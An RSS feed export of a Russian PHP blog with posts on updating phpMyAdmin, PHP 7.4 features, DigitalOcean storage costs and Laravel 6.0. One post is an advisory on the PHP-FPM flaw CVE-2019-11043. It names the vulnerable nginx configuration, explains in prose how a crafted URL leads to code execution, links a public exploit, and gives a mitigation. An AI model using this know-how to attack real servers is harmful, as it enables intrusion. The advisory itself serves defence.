style="font-size: 1rem;">TEMP_DIR и назначить ей владельца пользователя www-data:</span></p><pre class="line-numbers"><code class="language-powershell">cd /usr/share/phpmyadmin
sudo mkdir tmp
sudo chown -R www-data:www-data /usr/share/phpmyadmin/tmp</code></pre><p>Предупреждение о папке tmp должно исчезнуть в phpMyAdmin.</p><p>Далее нужно скопировать&nbsp; сэмпл конфигурационного файла&nbsp;config.sample.inc.php в&nbsp;config.inc.php, найти параметр&nbsp;blowfish_secret и вставить вместо пустой строки свой хэш:</p><pre class="line-numbers"><code class="language-powershell">cd /usr/share/phpmyadmin
sudo cp config.sample.inc.php config.inc.php
sudo nano config.inc.php</code></pre><p>Сгенерируйте произвольный хеш и вставьте в параметр конфига&nbsp;blowfish_secret:</p><pre class="line-numbers"><code class="language-php">/*
 * This is needed for cookie based authentication to encrypt password in
 * cookie
 */
$cfg['blowfish_secret'] = Fsdf34fSDFsegasg4ge4gw34Gg4g4$6%645gd'; 
/* YOU MUST FILL IN THIS FOR COOKIE AUTH! */</code></pre><p>сохраните файл. Предупреждение об blowfish_secret так же должно исчезнуть.</p><p>Второй вариант прост в использовании, но лучше все же изменять vendor_config, что даст некоторые преимущества в работе с phpMyadmin в будущем.</p><h2>Скрипт PMA Updater</h2><p>Чтобы процесс обновления проходил более удобнее и быстрее я написал bash скрипт, который доступен по адресу&nbsp;<a href="https://github.com/sinbadxiii/pma-updater" target="_blank">https://github.com/sinbadxiii/pma-updater</a>&nbsp;, достаточно будет склонировать себе репозиторий и запустить скрипт обновления phpMyAdmin до последней версии командой:</p><pre class="line-numbers"><code class="language-powershell">sudo ./update.sh</code></pre>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/19</guid>
                <pubDate>2019-12-02T08:40:12+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Уязвимость PHP-FPM - CVE-2019-11043]]></title>
                <link>https://sergeymukhin.com/blog/uyazvimost-php-fpm-cve-2019-11043</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Уязвимость PHP-FPM - CVE-2019-11043</h1><blockquote>Доступны корректирующие релизы PHP 7.3.11, 7.2.24 и 7.1.33, в которых устранена критическая уязвимость (CVE-2019-11043) в расширении PHP-FPM</blockquote><p>Для<a href="https://bugs.php.net/bug.php?id=78599" target="_blank"> исправления уязвимости&nbsp;</a><span style="font-size: 1rem;"><a href="https://bugs.php.net/bug.php?id=78599" target="_blank">CVE-2019-11043</a>&nbsp;</span><span style="font-size: 1rem;">в расширении PHP-FPM</span><span style="font-size: 1rem;">&nbsp;</span>выпущены корректирующие релизы PHP 7.3.11, 7.2.24 и&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">7.1.33,</span>&nbsp; как было сказано уязвимость позволяет пользователю, выполнить свой код извне. </p><p>Для атаки на серверы, использующие для запуска PHP-скриптов PHP-FPM в связке с Nginx, уже публично доступен <a href="https://github.com/neex/phuip-fpizdam" target="_blank">рабочий эксплоит</a>.&nbsp;</p><p>Строка 1140 в файле sapi /fpm/fpm/fpm_main.c (<a href="https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1140" target="_blank">https://github.com/php/php-src/blob/master/sapi/fpm/fpm/fpm_main.c#L1140</a>) содержит манипуляции с указателями, которые предполагают что env_path_info имеет префикс, равный пути к php скрипту. Тем не менее, код не проверяет выполняется ли это предположение. Отсутствие проверки может привести к неверному указателю в переменной «path_info».<br></p><p>Если веб-сервер запускает Nginx&nbsp;+ PHP-FPM, а Nginx&nbsp;имеет такую ​​конфигурацию, как<br></p><p><br></p><pre class="line-numbers"><code class="language-nginx">location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}</code></pre><p>то у меня для вас нехорошие новости - ваш сервер подвержен данной уязвимости. В качестве обходного метода защиты после строки "fastcgi_split_path_info" можно добавить проверку существования запрошенного PHP-файла:<br></p><p><br></p><pre class="line-numbers"><code class="language-nginx">   try_files $fastcgi_script_name = 404;</code></pre><h2>Технические детали уязвимости&nbsp;</h2><p>Запросив определённым образом оформленный URL атакующий может добиться смещения указателя path_info на первый байт структуры "_fcgi_data_seg", а запись нуля в этот байт приведёт к перемещению указателя "char* pos" на ранее идущую область памяти. Вызываемый следом FCGI_PUTENV перезапишет данные в этой памяти значением, которое может контролировать атакующий. В указанной памяти в том числе хранятся значения других переменных FastCGI и записав свои данные атакующий может создать фиктивную переменную PHP_VALUE и добиться выполнения своего кода.</p><h2>Разве это не было ранее известно?</h2><p>Давным-давно php-fpm не ограничивал расширения скриптов, а это означало, что что-то подобное /avatar.png/some-fake-shit.php может выполнить avatar.png как скрипт PHP. Эта проблема была исправлена ​​в 2010 году. Текущая версия не требует загрузки файла, работает в самых последних версиях (пока не появилось исправление), и, что наиболее важно, в этот раз эксплоит намного круче.</p><p>Так что, из-за наличия готового PoC-эксплоита и простоты использования уязвимости владельцам сайтов рекомендуется проверить настройки серверов и не откладывать обновление PHP.<br></p><div><br></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/18</guid>
                <pubDate>2019-10-24T20:36:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в PHP 7.4]]></title>
                <link>https://sergeymukhin.com/blog/novoe-v-php-74</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в PHP 7.4</h1><blockquote>PHP 7.4 - последняя версия перед PHP 8, содержит множество дополнений и исправлений синтаксиса, будет выпущен 28 ноября 2019 года. Пост создан для помощи в подготовки к предстоящим изменениям.</blockquote><p>PHP 7.4 будет содержать немало новых возможностей, начнем с новых функций, а затем рассмотрим изменения и устаревание функционала.</p><h2>Короткие замыкания <a href="https://wiki.php.net/rfc/arrow_functions_v2" target="_blank">RFC</a></h2><p><a href="https://sergeymukhin.com/blog/korotkie-zamykaniya-v-php" target="_blank">Короткие замыкания</a> допускают менее подробный синтаксис анонимной функции. Вместо многословного:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_map(function (User $user) { 
    return $user-&gt;id; 
}, $users)</code></pre><p>можно использовать более лаконичное выражение:</p><p><br></p><pre class="line-numbers"><code class="language-php">array_map(fn(User $user) =&gt; $user-&gt;id, $users)</code></pre><p>Согласитесь, выглядит здорово?!</p><p>Несколько замечаний:</p><ul><li>Короткие замыкания могут получить доступ к родительской области, ключевое слово use - не нужно.</li><li>$this доступен так же, как и у обычных замыканий.</li><li>Такие замыкания могут содержать в теле только одну строку, которая также является оператором возврата.</li></ul><h2>Предварительная загрузка (Preloading) <a href="https://wiki.php.net/rfc/preload" target="_blank">RFC</a></h2><p>Предварительная загрузка - удивительное дополнение к ядру PHP, которое может привести к значительному улучшению производительности.</p><p>Итак, если вы в своей работе используете какой-либо фреймворк, его файлы должны быть загружены и перекомпилированы при каждом запросе. Предварительная загрузка позволяет серверу загружать PHP-файлы в память при запуске и иметь их постоянно доступными для всех последующих запросов.</p><p>Предварительная загрузка управляется директивой&nbsp;<span style="font-size: 1rem;">opcache.preload&nbsp;</span>в файле&nbsp;<span style="font-size: 1rem;">php.ini</span>. Эта директива указывает PHP-скрипт, который будет скомпилирован и выполнен при запуске сервера. Данный файл может использоваться для предварительной загрузки дополнительных файлов или через&nbsp;<span style="font-size: 1rem;">функцию</span>&nbsp;opcache_compile_file()&nbsp; (подробнее см. <a href="https://www.php.net/manual/en/function.opcache-compile-file.php" target="_blank">Документацию PHP</a>).</p><p>Повышение производительности, конечно, связано с некоторым условием: если источник предварительно загруженных файлов изменяется, сервер должен быть перезапущен.<br></p><h2>Типизированные свойства <a href="https://wiki.php.net/rfc/typed_properties_v2" target="_blank">RFC</a></h2><p>Переменные класса могут быть подсказаны типом:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php
class A
{
    public string $name;    
    public Foo $foo;
}</code></pre><p>Это очень долгожданное со времён PHP 7 изменение в направлении более <a href="https://sergeymukhin.com/blog/strogaya-tipizatsiya-php">строгой типизации</a> языка. Теперь у нас есть все основные возможности для строгой типизации.Для типизации доступны все типы, за исключением&nbsp; void и callable.</p><h2>Улучшена разница типов <a href="https://wiki.php.net/rfc/covariant-returns-and-contravariant-parameters" target="_blank">RFC</a></h2><p>Разница типов - это тема, достойная отдельного сообщения в блоге ; короче говоря: вы сможете использовать противоречивые&nbsp;типы возврата</p><p><br></p><pre class="line-numbers"><code class="language-php">class ParentType {}
class ChildType extends ParentType {}

class A
{
    public function covariantReturnTypes(): ParentType
    { /* … */ }
}

class B extends A
{
    public function covariantReturnTypes(): ChildType
    { /* … */ }
}</code></pre><p>... и противоречивые аргументы.</p><p><br></p><pre class="line-numbers"><code class="language-php">class A
{
    public function contraVariantArguments(ChildType $type)
    { /* … */ }
}

class B extends A
{
    public function contraVariantArguments(ParentType $type)
    { /* … */ }
}</code></pre><p>RFC в настоящее время находится на этапе голосования, но, похоже, пройдет без проблем</p><h2>Интерфейс внешней функции <a href="https://wiki.php.net/rfc/ffi" target="_blank">RFC</a><br></h2><p>Интерфейс внешней функции, FFI, позволяет вызывать код C из пользовательского пространства. Это означает, что расширения PHP могут быть написаны на чистом PHP.</p><p>Следует отметить, что это сложная тема. Вам все еще нужны знания C, чтобы правильно использовать эту функцию.</p><h2>Оператор присваивания значения NULL&nbsp;<a href="https://wiki.php.net/rfc/null_coalesce_equal_operator" target="_blank" style="background-color: rgb(255, 255, 255);">RFC</a></h2><p>Появится возможность использовать синтаксис "если левый параметр не существует или равен null, присвоить ему значение правого параметра".<br></p><p>Т.е. вместо этого:</p><p><br></p><pre class="line-numbers"><code class="language-php">$data['date'] = $data['date'] ?? new DateTime();</code></pre><p>Вы можете сделать это:</p><p><br></p><pre class="line-numbers"><code class="language-php">$data['date'] ??= new DateTime();</code></pre><h2>Оператор распаковки (...) в массивах <a href="https://wiki.php.net/rfc/spread_operator_for_array" target="_blank">RFC</a></h2><p>Теперь можно использовать оператор распаковки в массивах:</p><pre class="line-numbers"><code class="language-php">$arr1 = [1, 2, 3];
$arr2 = [...$arr1];                                //[1, 2, 3]
$arr3 = [0, ...$arr1];                           //[0, 1, 2, 3]
$arr4 = array(...$arr1, ...$arr2, 111);  //[1, 2, 3, 1, 2, 3, 111]
$arr5 = [...$arr1, ...$arr1];                //[1, 2, 3, 1, 2, 3]</code></pre><p>Это работает только с массивами с числовыми ключами, с ассоциативными массивами распаковка работать не будет,&nbsp;ошибка будет выдана при обнаружении строкового ключа. Оператор спреда должен иметь лучшую производительность, чем array_merge. Это объясняется не только тем, что оператор распаковки является языковой структурой, в то время как array_merge является функцией, но и оптимизация времени компиляции может быть выполнена для констант массива. Плюс array_merge поддерживает операции только над массивами, а оператор спреда поддерживает реализацию объектов Traversable.</p><h2>Пользовательская сериализация объектов&nbsp;<a href="https://wiki.php.net/rfc/custom_object_serialization" target="_blank" style="background-color: rgb(255, 255, 255);">RFC</a></h2><p>В настоящее время PHP предоставляет два механизма для настраиваемой сериализации объектов: методы __sleep()/__wakeup() и Serializable интерфейс. К сожалению,&nbsp;<span style="font-size: 1rem;">по словам Никиты,</span>&nbsp;оба подхода имеют проблемы., которые приводят к сложному и ненадежному коду&nbsp; Этот RFC добавляет два новых магических метода: __serialize и __unserialize, которые позволяют избежать этих проблем</p><p><br></p><pre class="line-numbers"><code class="language-php">// Returns array containing all the necessary state of the object.
public function __serialize(): array;
 
// Restores the object state from the given data array.
public function __unserialize(array $data): void;</code></pre><p>Использование очень похоже на Serializable интерфейс. С практической точки зрения главное отличие состоит в том, что вместо вызова serialize() внутри Serializable::serialize() вы напрямую возвращаете данные, которые должны быть сериализованы в виде массива. В следующем примере показано, как __serialize()/__unserialize() используются и как они составляются при наследовании:</p><p><br></p><pre class="line-numbers"><code class="language-php">class A {
    private $prop_a;
    public function __serialize(): array {
        return ["prop_a" =&gt; $this-&gt;prop_a];
    }
    public function __unserialize(array $data) {
        $this-&gt;prop_a = $data["prop_a"];
    }
}
class B extends A {
    private $prop_b;
    public function __serialize(): array {
        return [
            "prop_b" =&gt; $this-&gt;prop_b,
            "parent_data" =&gt; parent::__serialize(),
        ];
    }
    public function __unserialize(array $data) {
        parent::__unserialize($data["parent_data"]);
        $this-&gt;prop_b = $data["prop_b"];
    }
}</code></pre><h2><p><span style="font-weight: bolder; font-size: 38px; color: rgb(40, 35, 49);">Разделитель числовых литералов&nbsp;<a href="https://wiki.php.net/rfc/numeric_literal_separator" target="_blank">RFC</a></span><br></p><p>Отсутствие визуальных разделителей в группах цифр увеличивало время чтения и отладки кода, и могло привести к непреднамеренным ошибкам. Теперь добавлена поддержка символа подчёркивания в числовых литералах для визуального разделения групп цифр.</p><p><span style="background-color: initial; color: rgb(248, 248, 242); font-family: Consolas, Monaco, &quot;Andale Mono&quot;, &quot;Ubuntu Mono&quot;, monospace; font-size: 1em; white-space: pre; word-spacing: normal;">1_000_000_000  // int</span></p><pre class="line-numbers" style="font-size: 14px; font-weight: 400;"><code class="language-php">6.674_083e-11; // float
299_792_458;   // decimal
0xCAFE_F00D;   // hexadecimal
0b0101_1111;   // binary
0137_041;      // octal</code></pre><div><br></div></h2><h2>Рефлексия для ссылок&nbsp;<a href="https://wiki.php.net/rfc/reference_reflection" target="_blank">RFC</a></h2><h2><div><p>Такие библиотеки как var dumper Symfony, в значительной степени полагаются на API Рефлексии для надежного вывода переменной. Раньше не было должной поддержки рефлексии для ссылок, в результате чего эти библиотеки полагались на "хаки" для обнаружения ссылок.</p><p>PHP 7.4 добавляет класс ReflectionReference, который решает эту проблему.</p><p>Обновление 02-14: RFC пройден, и изменения подтверждены для PHP 7.4.</p></div></h2><h2>Слабые ссылки<br></h2><h2><div><p>Слабые ссылки - это ссылки на объекты, которые не мешают их уничтожению.&nbsp;PHP 7.4 вводит класс WeakReference , который позволяет программистам сохранять ссылку на объект, который не препятствует уничтожению самого объекта.&nbsp;В настоящее время PHP поддерживает Weak References, используя расширение вроде&nbsp;<a href="https://www.php.net/manual/en/class.weakref.php" target="_blank">pecl-weakref</a>&nbsp;. В любом случае, новый API отличается от документированного WeakRefкласса.</p><p>Вот пример от автора этого предложения, Никиты Попова:</p><p><br></p><pre class="line-numbers" style="font-size: 14px; font-weight: 400;"><code class="language-php">$object = new stdClass;
$weakRef = WeakReference::create($object);

var_dump($weakRef-&gt;get());
unset($object);
var_dump($weakRef-&gt;get());</code></pre><p>Сначала var_dump выведет&nbsp;object(stdClass)#1 (0) {} , а потом выведет&nbsp;<span style="font-size: 1rem;">NULL</span>&nbsp;, так как указанный объект был уничтожен.&nbsp;</p></div></h2><h2>Добавлена функция&nbsp;mb_str_split&nbsp;<a href="https://wiki.php.net/rfc/mb_str_split" target="_blank">RFC</a></h2><h2><div><p>Эта функция обеспечивает те же функциональные возможности, что str_split и для многобайтовых строк.</p><div><p></p><h2><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Реестр хэширования паролей&nbsp;</span><a href="https://wiki.php.net/rfc/password_registry" target="_blank" style="background-color: rgb(255, 255, 255); font-weight: 700;">RFC</a></h2><p></p><p>Внутренние изменения в библиотеке хеширования, чтобы пользователям было проще использовать хэширование.&nbsp;Добавлена новая функция password_algos, которая возвращает список всех зарегистрированных алгоритмов хеширования паролей</p><h2><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Изменения и устаревание</span><br></p><p>Помимо новых функций, есть также много изменений в языке. Большинство этих изменений не нарушают работу программиста, хотя некоторые из них могут повлиять на уже написанный вами код.</p><p>Обратите внимание, что предупреждения об устаревании не являются критическими, а просто уведомляют разработчика о том, что функциональность будет удалена или изменена в будущем. Было бы хорошо не игнорировать предупреждения об устаревании и сразу же их исправлять; поскольку это сделает путь обновления для PHP 8.0 более простым.</p></h2></div><div><br></div></div><div>Приоритет при конкатенации&nbsp;&nbsp;<a href="https://wiki.php.net/rfc/concatenation_precedence" target="_blank" style="background-color: rgb(255, 255, 255);">RFC</a><br></div></h2><p>Если бы вы написали что-то вроде этого:</p><pre class="line-numbers"><code class="language-php">echo "sum: " . $a + $b;</code></pre><p>PHP ранее интерпретировал бы это так:</p><pre class="line-numbers"><code class="language-php">echo ("sum: " . $a) + $b;</code></pre><p>PHP 8 сделает так, чтобы он интерпретировался так:</p><pre class="line-numbers"><code class="language-php">echo "sum :" . ($a + $b);</code></pre><p>В PHP 7.4&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">при обнаружении выражения&nbsp;</span><span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">без скобок,&nbsp;</span>добавлено предупреждение об устаревании синтаксиса, содержащего «.» перед «+» или «-».</p><h2>Разрешены исключения в __toString <a href="https://wiki.php.net/rfc/tostring_exceptions" target="_blank">RFC</a></h2><p>Ранее исключения не могли быть добавлены в магический метод__toString. Они были запрещены из-за некоторых старых механизмов обработки ошибок, правда Никита Попов отметил, что это «решение» на самом деле не решило проблему, которую он пытался решить.</p><p>RFC все еще находится на стадии голосования, но с 32 голосами за и 0 против, можно с уверенностью сказать, что это пройдет.</p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">ext-hash всегда включен </span><a href="https://wiki.php.net/rfc/permanent_hash_ext" target="_blank" style="font-weight: 700; background-color: rgb(255, 255, 255);">RFC</a><br></p><p>Как видно из заголовка, это расширение теперь постоянно доступно во всех установках PHP.</p><h2>PEAR по умолчанию больше не включен <a href="https://externals.io/message/103977" target="_blank">ВНЕШНЕЕ</a><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"></span><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"></span></h2><p>Поскольку PEAR больше не поддерживается, основная команда решила удалить установку по умолчанию с PHP 7.4.</p><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Устареет ext/wwdx </span><a href="https://wiki.php.net/rfc/deprecate-and-remove-ext-wddx" target="_blank" style="font-weight: 700; background-color: rgb(255, 255, 255);">RFC</a><br></p><p>Этот формат обмена данными никогда не был стандартизирован, и теперь его расширение устарело.</p><h2><b style="color: rgb(40, 35, 49); font-size: 38px;">Короткие теги PHP устарели <a href="https://wiki.php.net/rfc/deprecate_php_short_tags" target="_blank">RFC</a></b></h2><p>Короткий открытый тег <b>&lt;?</b> устарел и будет удален в PHP 8. Короткий echo тег <b>&lt;?=</b> оставлен.</p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">array_merge и array_merge_recursive без аргументов&nbsp;</span><br></p><p>Поскольку добавлен оператор распаковки (...), теперь имеет смысл использовать array_merge так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$merged = array_merge(...$arrayOfArrays);</code></pre><p>Теперь array_merge и array_merge_recursive позволяют передавать пустой список параметров. Пустой массив будет возвращен, если не было передано ни одного массива.<br></p><h2>strip_tags принимает массивы&nbsp;&nbsp;</h2><p>Ранее несколько тегов можно было бы удалить только перечислением тегов в строке:</p><p><br></p><pre class="line-numbers"><code class="language-php">strip_tags($string, '&lt;a&gt;&lt;p&gt;')</code></pre><p>PHP 7.4 позволяет использовать массив:</p><p><br></p><pre class="line-numbers"><code class="language-php">strip_tags($string, ['a', 'p'])</code></pre><p><br></p><h2><b style="font-size: 38px; color: rgb(40, 35, 49);">Лево-ассоциативный тернарный оператор устареет&nbsp;<a href="https://wiki.php.net/rfc/ternary_associativity" target="_blank">RFC</a></b></h2><p><font color="#282331">Тернарный оператор имеет некоторые странные особенности в PHP. Этот RFC добавляет статус деприкейт для вложенных троичных операторов. В PHP 8 это устаревание будет преобразовано в ошибку времени при компиляции.</font></p><p><br></p><pre class="line-numbers"><code class="language-php">//устареет
1 ? 2 : 3 ? 4 : 5;  

//нормально
(1 ? 2 : 3) ? 4 : 5; </code></pre><h2>Устарели фигурные скобки для доступа к массивам и строкам</h2><p>Раньше можно было получить доступ к массивам и смещениям строк, используя фигурные скобки:</p><pre class="line-numbers"><code class="language-php">$array{1};
$string{3};</code></pre><p>Теперь лучше от этого отказаться.</p><h2>Улучшение в proc_open улучшения</h2><p>Были внесены изменения, чтобы proc_open мог выполнять программы, не проходя через shell. Это делается путем передачи массива вместо строки&nbsp;<span style="font-size: 1rem;">для команды</span>.</p><h2>Список некоторых устаревших вещей</h2><ul><li>Тип real</li><li>Magic quotes legacy</li><li>array_key_exists() с объектами</li><li>FILTER_SANITIZE_MAGIC_QUOTES фильтр</li><li>Метод Reflection export()&nbsp;</li><li>mb_strrpos() с указанием кодировки 3 аргументом</li><li>implode() параметр порядка смешивания</li><li>Открепление $this от нестатических замыканий ($closure-&gt;bindTo(null))</li><li>функция hebrevc()</li><li>функция convert_cyr_string()</li><li>функция money_format()</li><li>функция ezmlm_hash()</li><li>функция restore_include_path()</li><li>директива ini allow_url_include</li></ul><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Обратно несовместимые изменения</span><br></p><p>Так же не забываем смотреть на <a href="https://github.com/php/php-src/blob/PHP-7.4/UPGRADING" target="_blank">полный документ обновлений</a> версий PHP.</p><p>Можно выделить следующие несовместимых назад изменений:</p><ul><li>Вызов parent:: в классе без родителя вызовет ошибку.<br></li><li>Использование var_dump для DateTime или DateTimeImmutable больше не будет выводить доступные свойства объекта.</li><li>openssl_random_pseudo_bytes сгенерирует исключение в случае ошибки.&nbsp;Раньше она возвращала false, что могло привести к генерации пустой строки.</li><li>Попытка сериализации экземпляров&nbsp;PDO или PDOStatement сгенерирует Exception вместо PDOException.</li><li>Вызов get_object_vars() для ArrayObject экземпляре будет возвращать свойства самого ArrayObject, а не значения обернутого массива или объекта.&nbsp;Чтобы как раньше получить значения обернутого массива — приведите ArrayObject к типу array</li></ul><h2>Изменились правила голосования RFC&nbsp;<a href="https://wiki.php.net/rfc/abolish-narrow-margins" target="_blank">RFC</a></h2><p>Технически это не обновление, связанное с PHP 7.4, хотя это, безусловно, стоит упомянуть. Правила голосования для RFC были изменены: для принятия RFC требуется 2/3 голосов, все RFC должны быть открыты не менее 2 недель, чтобы пройти одобрение.</p><p><br></p><p><br></p><p><br></p><div class="embed-responsive embed-responsive-16by9" style="float: none;"><iframe frameborder="0" src="//www.youtube.com/embed/teKnckg5x7I?&amp;loop=0" width="auto" height="auto" class="embed-responsive note-video-clip"></iframe></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/1</guid>
                <pubDate>2019-10-17T06:06:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Когда решил воспользоваться Spaces S3 на Digital Ocean]]></title>
                <link>https://sergeymukhin.com/blog/kogda-reshil-vospolzovatsya-spaces-s3-na-digital-ocean</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Когда решил воспользоваться Spaces S3 на Digital Ocean</h1><blockquote>Подводные камни при работе с хранилищем в "Цифровом Океане"</blockquote><p>Забавный случай произошел со мной на днях.&nbsp;</p><p>У меня есть сайт, который представляет из себя каталог видео, тематика не важна - смысл в том, что размер файлов на сайте превышает 110 гигабайт mp4-файлов.</p><p>Запустил я его пару лет назад, и особо им не занимался, сайт сам себя продвигал, привлекал настоящий органический траффик, ничем особо не выделялся. Количество уникальных пользователей в сутки было примерно 1000-1500.&nbsp; И в течение этих пары лет посещение не менялось.</p><p>Т.к. на <a href="https://m.do.co/c/6c16a2617e6e" target="_blank">digitalocean.com</a>&nbsp;дополнительные жесткие диски стоят вполне ощутимо, по сравнению с теми же ресурсами как оперативная память и процессор, то изначально было решено размещать сами файлы на уже существующем сервере в российском сегменте, который размещался на <a href="https://www.ihc.ru/?ref=308578" target="_blank">ihc.ru</a>&nbsp;, но со временем,&nbsp; когда база видео на сайте росла, рос размер файлов видео, то и сервер на ihc приходилось расширять, в какой-то момент это надоело, и стало казаться нецелесообразно, тем более на&nbsp;<a href="https://m.do.co/c/6c16a2617e6e" target="_blank" style="font-size: 1rem; background-color: rgb(255, 255, 255);">digitalocean.com</a>&nbsp;появилось хранилище S3, и стоило сущие копейки - $5 за 250 гигов.</p><p>Ну сказано - сделано, было куплено пространство на 250 гигов, написан простенький скрипт на питоне:</p><p><br></p><pre class="line-numbers"><code class="language-python">import boto3
import json
import os.path

session = boto3.session.Session()
client = session.client('s3',
                        region_name='fra1',
                        endpoint_url='https://fra1.digitaloceanspaces.com',
                        aws_access_key_id='###################',
                        aws_secret_access_key='XXXXXXXXXXXXXXXXXXXXX')

with open('videos.json') as json_file:
    videos = json.load(json_file)
    for video in videos:
        source_file = video['source_file']

        if (os.path.isfile(source_file)):
            client.upload_file(source_file, '%nameBucket%', source_file)
            client.put_object_acl(ACL='public-read', Bucket='%nameBucket%', Key=source_file)
        else:
            print(source_file + " not exist" )</code></pre><p>который перегрузил все видео с ihc сервера в S3 digitalocean, поправлен адрес в БД сайта, и все заработало, переход был&nbsp;<span style="font-size: 1rem;">быстрым и&nbsp;</span>безболезненным для меня и пользователей сайта.<br></p><p>Ах да, забыл упомянуть, что вся возня с хранилищем началась из-за внезапно увеличивавшегося траффика пользователей на сайте, количество выросло до 5-6 тысяч уников в сутки, что подтолкнуло меня вспомнить и немного заняться этим сайтом.&nbsp;&nbsp;</p><p>Итак, переехав, я со спокойной душой оставил сайт и спустя ровно 10 дней мне понадобилось зайти в панель управления digitalocean чтобы посмотреть какую-то информацию, какую точно не помню, да это и не важно и обратил внимание на расход средств, оно составило $36 за месяц, напоминаю, мой сервер стоил $5 + $5 должно было составить за пользование новым хранилищем, а тут цифра совершенно не равная десятке баксов.&nbsp;</p><p>Я полез в подробный отчет расходов и увидел, что дополнительные средства списываются за пользование хранилищем, в котором мелким шрифтом прописано, что после покупки хранилища в "подарок" дается 1Тб исходящего траффика (входящий не считается). А перерасход этого траффика считается по отдельному прайсу:&nbsp;$0.01 за 1Гб.&nbsp;</p><p>Пользователи сайта же за эти 10 дней "насмотрели" 3605.44 гигабайта (3.6 Тб) видео. Итого (3605.44GB - 1000GB) * $0.01 и равняется $26.&nbsp;</p><p>И тут я понял, что никакой экономии, которую я хотел добиться этим шагом не получилось. Пришлось быстро "поднимать" сервер на том же ihc, с самым дешевым тарифом, но расширять диск до нужных 130 гигов, по деньгам конечно получилось не $5 = 300 рублей, а все 800 рублей, но по крайней мере это гораздо дешевле, чем вышло бы с оплатой траффика у digitalocean, кстати на ihc бесплатно дается 20Тб исходящего траффика, что вполне вписывается пока в нужные мне расходы.</p><p>Итого, сервера у DO крутые, но с исходящим траффиком пока есть проблемы, которые нужно учитывать, но если это не важно, то можно смело у них брать серваки, и запускать свои проекты. Всем хорошего плавания!</p><p style="text-align: center; "><img src="/files/blog/2019/kogda-reshil-vospolzovatsya-spaces-s3-na-digital-ocean-ZZDLZ5.jpeg"></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/15</guid>
                <pubDate>2019-09-01T13:15:26+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз Laravel 6.0]]></title>
                <link>https://sergeymukhin.com/blog/reliz-laravel-60</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Релиз Laravel 6.0</h1><blockquote>Laravel 6.0 станет версией LTS (Long Term Support) — с поддержкой в течении длительного времени, вплоть до сентября 2022 года</blockquote><p>Как и было объявлено на Laracon в июле, версия Laravel 6.0 вышла в августе, и привнесла небольшие изменения по сравнению с предыдущим 5.* релизом.</p><p>Как и версия 5.5, шестая "Лара" будет LTS - что означает поддержку в ближайшие 2 года, а один год с исправлениями, связанных с безопасностью фреймворка. Не LTS версии поддерживались течении полугода. Можно сравнить по таблице:</p><p><br></p><p> </p><table class="table table-bordered"><tbody><tr><td><b>Версия</b><br></td><td><b>Релиз</b><br></td><td><b>Исправление ошибок</b><br></td><td><b>Исправления безопасности</b><br></td></tr><tr><td>5,5 (LTS)<br></td><td>30 августа 2017г.<br></td><td>30 августа 2019г.<br></td><td>30 августа 2020г.<br></td></tr><tr><td>5,6<br></td><td>7 февраля 2018г<br></td><td>7 августа 2018г.<br></td><td>7 февраля 2019г.<br></td></tr><tr><td>5,7<br></td><td>4 сентября 2018г.<br></td><td>4 марта 2019г.<br></td><td>4 сентября 2019г.<br></td></tr><tr><td>5,8<br></td><td>26 февраля 2019г.<br></td><td>26 августа 2019г.<br></td><td>26 февраля 2020г.<br></td></tr><tr><td>6,0 (LTS)<br></td><td>3 сентября 2019г.<br></td><td>3 сентября 2021г.<br></td><td>3 сентября 2022г.<br></td></tr></tbody></table><h2>Laravel 6.0</h2><p>Laravel 6.0 (LTS) продолжает улучшения, сделанные в Laravel 5.8, представляя семантическое управление версиями, совместимость с Laravel Vapor , улучшенные ответы авторизации, middlewares задач, ленивые коллекции, улучшения подзапросов, извлечение фронтенда в отдельный в пакет laravel/ui&nbsp;и много других различных исправлений ошибок и улучшений.</p><p>Полный список изменений выглядит следующим:</p><p><br></p><ul><li>Семантическое управление версиями</li><li>Совместимость с Laravel Vapor<br></li><li>Улучшенные ответы авторизации</li><li>Работа middleware в задачах</li><li>Ленивые Коллекции</li><li>Подзапросы в Eloquent</li><li>Laravel UI</li></ul><h2>Семантическая версионность</h2><p>Пакет Laravel framework (laravel/framework) теперь соответствует стандарту <a href="https://semver.org/" target="_blank">семантического управления версиями</a>. Это делает платформу совместимой с другими пакетами Laravel, которые уже следовали этому стандарту версий. Цикл выпуска Laravel останется неизменным.<br></p><h2>Улучшенные ответы авторизации</h2><p>Раньше было сложно предоставлять пользовательские сообщения об ошибках при авторизации конечным пользователям. В Laravel 6 представлен&nbsp;<span style="font-size: 1rem;">метод</span>&nbsp;Gate::inspect, который 